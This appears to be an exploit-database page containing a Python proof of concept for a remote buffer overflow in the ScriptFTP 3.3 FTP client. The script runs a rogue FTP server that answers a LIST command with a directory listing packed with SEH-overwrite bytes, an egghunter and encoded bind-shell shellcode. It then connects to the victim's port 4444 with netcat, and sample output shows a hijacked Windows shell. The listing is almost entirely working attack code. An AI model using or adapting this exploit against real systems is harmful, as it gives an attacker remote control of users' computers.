[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)
# Published : 2011-09-20
# Author : modpr0be
# Previous Title : FiSH-irssi v0.99 Evil ircd Buffer Overflow (CVE-2007-1397)
# Next Title : Blue Coat Reporter Unauthenticated Directory Traversal


			
# Exploit Title: ScriptFTP <=3.3 Remote Buffer Overflow (LIST)# Date: September 20, 2011# Author: modpr0be# Software Link: http://www.scriptftp.com/ScriptFTP_3_3_setup.exe# Version: 3.3# Tested on: Windows XP SP3, Windows Server 2003 SP1 (SE) (VMware 3.1.4 build-385536)# CVE : -## Thanks: offsec, exploit-db, corelanc0d3r, 5M7X, loneferret, mr_me, _sinner# # You should create your own script to work with ScriptFTP# for example; enable passive and get the remote directory # on your evil ftp server.## my example script:# OPENHOST("8.8.8.8","ftp","ftp")# SETPASSIVE(ENABLED)# GETLIST($list,REMOTE_FILES)# CLOSEHOST# save it to a file with .ftp extension (eg: exploit.ftp)# root@bt :/# python scriptftp-bof-poc.py# [*] ScriptFTP 3.3 Remote Buffer Overflow POC# [*] by modpr0be[at]digital-echidna[dot]org.# [*] thanks a lot to cyb3r.anbu | otoy :)# =============================================# [*] Evil FTP Server Ready# [*] Server initiated.# [*] Awaiting connection...# [*] Connection created by 172.16.87.129.# [*] Establishing session.# [*] Pwning in progress..# [*] This may take up 50 seconds or less.# [!] Hunter is hunting the Egg ;)# [!] Waiting for a shell..# [!] 0wn3d..!## Microsoft Windows XP [Version 5.1.2600]# (C) Copyright 1985-2001 Microsoft Corp.## C:/Program Files/ScriptFTP>## Yes, this poc is using PASSIVE connection and it will# take some time to establish. I love the way we wait for a shell ;)#!/usr/bin/pythonimport socketimport osimport sysimport timeclass ftp_server:    def __init__(self):        self.host = '0.0.0.0'        self.passive_port = 7214        self.log("""[*] ScriptFTP <=3.3 Remote Buffer Overflow POC[*] by modpr0be[at]digital-echidna[dot]org[*] thanks a lot to cyb3r.anbu | otoy :)=============================================[*] Evil FTP Server Ready""")        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.bind(('', 21))        self.sock.listen(1)        a = self.passive_port/256        b = self.passive_port%256        self.tuple_port = (a, b)        self.host_join = ','.join(self.host.split('.'))        self.passive = False        self.log("[*] Server initiated.")    def log(self, msg):        print msg    def get(self):        return self.conn.recv(1024).replace('/r', '').replace('/n', '')    def getcwd(self):        return os.getcwd().split(chr(92))[-1]        def put(self, ftr):        x = {            150:" Data connection accepted from %s:%s; transfer starting./r/n226 Listing completed."%(self.host, self.passive_port),            200:" Type okay.",            220:" %s Server is ready."%self.host,            226:" Listing completed.",            227:" Entering Passive Mode (%s,%s,%s)"%(self.host_join, self.tuple_port[0], self.tuple_port[1]),            230:" User logged in, proceed.",            250:' "/%s" is new cwd.'%self.getcwd(),             257:' "/%s" is cwd.'%self.getcwd(),            331:" User name okay, need password.",            502:" Command not implemented.",            551:" Requested action aborted. Page type unknown."                         }[ftr]        s = '%s%s/r/n'%(ftr, x)        self.conn.send(s)        return s    def main(self):        self.log("[*] Awaiting connection...")        self.conn, addr = self.sock.accept ()        self.log("[*] Connection created by %s./n[*] Establishing session."%addr[0])	self.put(220)        self.log("[*] Pwning in progress..")	self.log("[*] This may take up 50 seconds or less.")        while 1:            try:                 data = self.get().upper()            except socket.error:                self.conn.close()                self.sock.shutdown(socket.SHUT_RDWR)                raise socket.error	                if data[:4] == 'USER':   s = 331            elif data[:4] == 'PASS': s = 230            elif data[:3] == 'PWD':  s = 257            elif data[:4] == 'TYPE': s = 200            elif data[:4] == 'PASV':                # create passive port                self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                self.sock2.bind(('', self.passive_port ))                self.sock2.listen(1)                s = self.put(227)                self.conn2, addr = self.sock2.accept()                self.passive = True                s = 0 # don't routine                  elif data[:3] == 'CWD':                try:                    os.chdir('..%s'%data.split(' ')[-1])                    s = 250                except OSError:                    s = 551		                elif data[:4] == 'LIST':                s = self.put(150)                s = self.passive_do(1)                s = 0 # don't routine		print "[!] Hunter is hunting the Egg ;)"		time.sleep(50)		print "[!] Waiting for a shell.."		time.sleep(2)		print "[!] 0wn3d..!/n"		os.system("nc %s 4444"%addr[0])		sys.exit()            else:		s = 502            if s:                s = self.put(s)    def passive_do(self, id):        if id == 1:	    #bind to port 4444	    bind = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQ"                    "APA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"                    "IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLI"                    "XTIKPKPKPC0DIZENQXRS4DK0RNPTKPRLLTKR2LTTKBRO"                    "8LOVWPJMVNQKONQGPFLOL1Q3LLBNLMPY18OLMM1I7K2J"                    "P0RR74KPRN0DKOROLKQZ0DKOPRX4EY0RTPJKQXP0PTK1"                    "8N8DKQHMPKQHSJCOLOYTKODDKM1HVNQKONQY0VLWQHOL"                    "MKQWWP8IPCEL4LCSML8OK3MMTRUK2R84KQHMTM1YCQV4"                    "KLLPKTKPXMLKQZ3TKM4TKKQ8P4IQ4O4MTQKQK1QPYPZ2"                    "1KOK0PXQO1J4KN2ZKU61MQXNSP2KPKPS82W2SP21OQD3"                    "80LSGNFLGKOZ56X4PM1KPKPO9XDPTPPQXNI3P2KM0KOX"                    "U0PPPPP0POP0POPPPQXJJLOIOYPKOJ5SYGWNQIKPSBHM"                    "2KPN1QLU9YVRJLPQFQGC8GRIK07QWKO8U0SR7C87GZIP"                    "8KOKOJ50SR3PWRHCDZLOKYQKO8UPW5997QX2URN0MQQK"                    "OYEQX33BMQTKPSYJCPWPWR701JV2JMBR926IRKMQVGWO"                    "TMTOLKQKQTMPDNDLP7VKPQ40TB0PVPVPVOV26PNQFR6P"                    "SR6C8SIXLOOTFKOXUCY9P0N0VPFKONPS8KXSWMMQPKO9"                    "E7KL0X5W2QFQXVFTUWMEMKOHUOLKV3LKZU0KKYP2ULEW"                    "KQ7MCT2BO2JKPQCKOZ5A")	    	    # 32bit egghunter from corelanc0d3r, thx ;)	    egghunter = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"			 "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"			 "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"			 "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"			 "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"			 "SEYWKOYWA")				   	    junk = "A" * 1746		#junk	    nseh = "/x61/x62"		#nseh            seh = "/x45/x5B" 		#seh ppr somewhere on scriptftp dir             	    #prepare for align            align = "/x60"			#pushad	    align += "/x73"			#nop/align	    align += "/x53"			#push ebx	    align += "/x73"			#nop/align            align += "/x58"			#pop eax	    align += "/x73"			#nop/align	    align += "/x05/x02/x11"     	#add eax,0x11000200	    align += "/x73"             	#nop/align            align += "/x2d/x01/x11"     	#sub eax,0x11000120	    align += "/x73"             	#nop/align	    	    #walking   	    walk = "/x50"			#push eax	    walk += "/x73"			#nop/align	    walk += "/xc3"			#ret    	    #align again	    align2 = "0t0t" + "/x73/x57/x73/x58/x73"		#nop/push edi/nop/pop eax/nop	    align2 += "/xb9/x1b/xaa"			#mov ecx,0xaa001b00	    align2 += "/xe8/x73"			#add al,ch + nop	    align2 += "/x50/x73/xc3"			#push eax,nop,ret	    sampah1 = "/x44" * 106 + "/x73"		#eax+106/align nop	    sampah2 = "/x42" * 544			#right after shellcode	    	    crash = junk+nseh+seh+align+walk+sampah1+egghunter+sampah2+align2+bind+sampah1            res = """-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 """+crash+""".txt/r/ndrwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 A/r/nrwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 """+ crash +".txt/r/n"        self.conn2.send(res)        # self.conn2.send('/r/n') # send blank	return restry:	ftp_server().main()except socket.error:        print "[!] Socket is not ready, shutting down.../n"